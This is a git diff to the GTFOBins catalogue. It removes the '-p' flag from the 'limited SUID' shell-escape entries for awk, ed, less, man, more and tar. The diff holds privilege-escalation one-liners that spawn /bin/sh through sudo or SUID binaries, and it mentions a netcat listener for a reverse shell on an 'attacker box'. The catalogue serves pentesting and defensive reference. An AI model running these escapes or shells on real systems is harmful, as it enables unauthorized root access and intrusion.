diff --git a/_data/functions.yml b/_data/functions.yml index abbc869..4b555f7 100644 --- a/_data/functions.yml +++ b/_data/functions.yml @@ -12,7 +12,7 @@ suid-enabled: suid-limited: label: Limited SUID - description: It runs with the SUID bit set and may be exploited to escalate or maintain the privileges working as a SUID backdoor. This works if the default system shell doesn't drop the SUID privileges, which is usually only valid for Debian Linux systems (if that's the case don't use the `-p` option). + description: It runs with the SUID bit set and may be exploited to escalate or maintain the privileges working as a SUID backdoor. This works if the default system shell doesn't drop the SUID privileges, which is usually only valid for Debian Linux systems. sudo-enabled: label: Sudo diff --git a/_gtfobins/awk.md b/_gtfobins/awk.md index 8a28464..1ae286b 100644 --- a/_gtfobins/awk.md +++ b/_gtfobins/awk.md @@ -5,7 +5,7 @@ functions: sudo-enabled: - code: sudo awk 'BEGIN {system("/bin/sh")}' suid-limited: - - code: ./awk 'BEGIN {system("/bin/sh -p")}' + - code: ./awk 'BEGIN {system("/bin/sh")}' reverse-shell-non-interactive: - description: Run `nc -l -p 12345` on the attacker box to receive the shell. code: | diff --git a/_gtfobins/ed.md b/_gtfobins/ed.md index aeae566..d0c7a6c 100644 --- a/_gtfobins/ed.md +++ b/_gtfobins/ed.md @@ -11,5 +11,5 @@ functions: suid-limited: - code: |- ./ed - !/bin/sh -p ---- \ No newline at end of file + !/bin/sh +--- diff --git a/_gtfobins/less.md b/_gtfobins/less.md index ac7855c..6a0d293 100644 --- a/_gtfobins/less.md +++ b/_gtfobins/less.md @@ -14,5 +14,5 @@ functions: suid-limited: - code: |- ./less /etc/profile - !/bin/sh -p ---- \ No newline at end of file + !/bin/sh +--- diff --git a/_gtfobins/man.md b/_gtfobins/man.md index f0d9f0c..f706b14 100644 --- a/_gtfobins/man.md +++ b/_gtfobins/man.md @@ -11,5 +11,5 @@ functions: suid-limited: - code: |- ./man man - !/bin/sh -p ---- \ No newline at end of file + !/bin/sh +--- diff --git a/_gtfobins/more.md b/_gtfobins/more.md index 2986954..73c0fd4 100644 --- a/_gtfobins/more.md +++ b/_gtfobins/more.md @@ -11,5 +11,5 @@ functions: suid-limited: - code: |- TERM= ./more /etc/profile - !/bin/sh -p ---- \ No newline at end of file + !/bin/sh +--- diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index 98014f0..fea1c78 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -5,5 +5,5 @@ functions: sudo-enabled: - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh suid-limited: - - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -p" ---- \ No newline at end of file + - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh" +---